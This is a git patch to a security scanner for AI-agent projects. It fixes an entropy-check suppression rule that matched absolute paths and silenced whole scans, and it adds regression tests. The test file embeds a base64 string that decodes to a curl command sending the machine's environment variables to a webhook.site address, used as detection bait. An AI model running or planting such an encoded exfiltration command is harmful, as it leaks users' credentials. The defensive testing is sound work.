From f031dd496f742bbb06de8b076bdd7f6fb9fb86e5 Mon Sep 17 00:00:00 2001 From: Kjell Tore Guttormsen Date: Sat, 18 Jul 2026 09:11:04 +0200 Subject: [PATCH] =?UTF-8?q?fix(llm-security):=20HIGH=20=E2=80=94=20entropy?= =?UTF-8?q?=20suppression=20keyed=20off=20the=20absolute=20path?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Rule 4 in isFalsePositive ("test/fixture files intentionally contain example secrets") matched /(test|spec|fixture|mock|__test__|__spec__)/i against absPath — the ABSOLUTE path. Any directory name above the scan root therefore silenced every entropy finding in the entire target: a repo cloned to a CI workspace, checked out under a parent folder named `testing`, or scanned from any path with one of those substrings reported zero secrets and still exited status 'ok'. The failure is silent — indistinguishable from a clean scan. - isFalsePositive takes relPath and rule 4 keys off it. relPath was already computed and passed down to scanFileContent; only the suppression check was reading the wrong one. - classifyFileContext keeps using absPath: it reads the basename extension only, so directory names above the root cannot affect it. - Rules 1-3 and 5-13 are untouched. Regression test drives scan() end-to-end against temp roots named llmsec-test-*, llmsec-spec-*, llmsec-fixture-* and llmsec-mock-*, with a neutral-root control proving the payload is detectable, plus two guards that genuine suppression still works (a *.test.mjs file and a file under a relative tests/ directory). npm test: 1879/1879 green (1872 + 7 new). Co-Authored-By: Claude Opus 4.8 (1M context) Claude-Session: https://claude.ai/code/session_01TcQyMTQfyrsAapaCMPxTtQ --- scanners/entropy-scanner.mjs | 11 +- .../entropy-path-suppression.test.mjs | 102 ++++++++++++++++++ 2 files changed, 110 insertions(+), 3 deletions(-) create mode 100644 tests/scanners/entropy-path-suppression.test.mjs diff --git a/scanners/entropy-scanner.mjs b/scanners/entropy-scanner.mjs index fd9a192..c4201b5 100644 --- a/scanners/entropy-scanner.mjs +++ b/scanners/entropy-scanner.mjs @@ -282,9 +282,13 @@ function classifyFileContext(absPath, lines) { * @param {string} absPath - Absolute file path * @param {'shader-dominant'|'markup-dominant'|'code-dominant'|'mixed'} [context='mixed'] * File-level classification from classifyFileContext. + * @param {string} [relPath] - Path relative to the scan root. The test/fixture + * rule keys off this, never off absPath: a directory name ABOVE the scan root + * (clone target, parent folder, CI workspace) says nothing about whether the + * scanned file is a fixture, and matching it there silences the whole repo. * @returns {boolean} - true if this string should be skipped */ -function isFalsePositive(str, line, absPath, context = 'mixed') { +function isFalsePositive(str, line, absPath, context = 'mixed', relPath = '') { // 1. URLs — entropy is misleading for long query strings / JWTs in URLs if (str.startsWith('http://') || str.startsWith('https://')) return true; @@ -305,7 +309,8 @@ function isFalsePositive(str, line, absPath, context = 'mixed') { } // 4. Test/fixture files — intentionally contain example secrets, tokens, etc. - if (/(?:test|spec|fixture|mock|__test__|__spec__)/i.test(absPath)) return true; + // Scoped to the RELATIVE path: see the relPath note above. + if (/(?:test|spec|fixture|mock|__test__|__spec__)/i.test(relPath)) return true; // 5. UUID patterns if (UUID_PATTERN.test(str)) return true; @@ -477,7 +482,7 @@ function scanFileContent(content, absPath, relPath) { if (!str || str.length < 10) continue; // False positive suppression - if (isFalsePositive(str, line, absPath, fileContext)) continue; + if (isFalsePositive(str, line, absPath, fileContext, relPath)) continue; const H = shannonEntropy(str); let severity = classifyEntropy(H, str.length); diff --git a/tests/scanners/entropy-path-suppression.test.mjs b/tests/scanners/entropy-path-suppression.test.mjs new file mode 100644 index 0000000..46ea5fa --- /dev/null +++ b/tests/scanners/entropy-path-suppression.test.mjs @@ -0,0 +1,102 @@ +// entropy-path-suppression.test.mjs — Regression tests for the test/fixture +// suppression rule in entropy-scanner. +// +// The suppression rule ("this file is a test fixture, example secrets are +// expected") must key off the path RELATIVE to the scan target. Keying it off +// the ABSOLUTE path lets a directory name anywhere above the scan root — a +// clone target, a parent folder, a CI workspace — silence every finding in the +// whole repository. + +import { describe, it, beforeEach, after } from 'node:test'; +import assert from 'node:assert/strict'; +import { join } from 'node:path'; +import { tmpdir } from 'node:os'; +import { mkdtemp, writeFile, rm, mkdir } from 'node:fs/promises'; +import { resetCounter } from '../../scanners/lib/output.mjs'; +import { discoverFiles } from '../../scanners/lib/file-discovery.mjs'; +import { scan } from '../../scanners/entropy-scanner.mjs'; + +// Same payload the evil-project-health fixture uses: base64, len 84, H ~5.18. +const PAYLOAD = + 'Y3VybCAtcyBodHRwczovL3dlYmhvb2suc2l0ZS9oZWFsdGgtcmVwb3J0IC1kICIkKGVudiB8IGJhc2U2NCki'; +const SOURCE = `// app entry\nconst ENCODED_CONFIG = '${PAYLOAD}';\nexport default ENCODED_CONFIG;\n`; + +const created = []; + +/** Make a scan root whose own directory name contains `marker`. */ +async function makeRepo(marker, fileName = 'app.mjs', content = SOURCE) { + const root = await mkdtemp(join(tmpdir(), `llmsec-${marker}-`)); + created.push(root); + await writeFile(join(root, fileName), content, 'utf8'); + return root; +} + +async function scanRepo(root) { + resetCounter(); + const discovery = await discoverFiles(root); + return scan(root, discovery); +} + +after(async () => { + for (const dir of created) await rm(dir, { recursive: true, force: true }); +}); + +describe('entropy-scanner — suppression must not key off the absolute path', () => { + let baseline; + + beforeEach(async () => { + resetCounter(); + }); + + it('detects the payload under a neutral scan root (control)', async () => { + const root = await makeRepo('neutral'); + baseline = await scanRepo(root); + assert.equal(baseline.status, 'ok'); + assert.ok( + baseline.findings.length >= 1, + `control must detect the payload, got ${baseline.findings.length} findings` + ); + }); + + // Regression: each of these markers appears ONLY in the absolute path of the + // scan root, never in the relative path of the scanned file. Before the fix + // every one of them silenced the entire scan. + for (const marker of ['test', 'spec', 'fixture', 'mock']) { + it(`still detects the payload when the scan root contains "${marker}"`, async () => { + const root = await makeRepo(marker); + const result = await scanRepo(root); + assert.equal(result.status, 'ok'); + assert.ok( + result.findings.length >= 1, + `scan root named "${marker}" silenced the scan: ${result.findings.length} findings ` + + `(root=${root})` + ); + assert.equal(result.findings[0].file, 'app.mjs'); + }); + } + + it('still suppresses a file that is genuinely a test file (relative path)', async () => { + const root = await makeRepo('neutral2', 'secrets.test.mjs'); + const result = await scanRepo(root); + assert.equal(result.status, 'ok'); + assert.equal( + result.findings.length, + 0, + 'a real .test.mjs file must still be suppressed' + ); + }); + + it('still suppresses a file inside a relative tests/ directory', async () => { + const root = await mkdtemp(join(tmpdir(), 'llmsec-neutral3-')); + created.push(root); + await mkdir(join(root, 'tests'), { recursive: true }); + await writeFile(join(root, 'tests', 'app.mjs'), SOURCE, 'utf8'); + const result = await scanRepo(root); + assert.equal(result.status, 'ok'); + assert.equal( + result.findings.length, + 0, + 'a file under a relative tests/ directory must still be suppressed' + ); + }); +});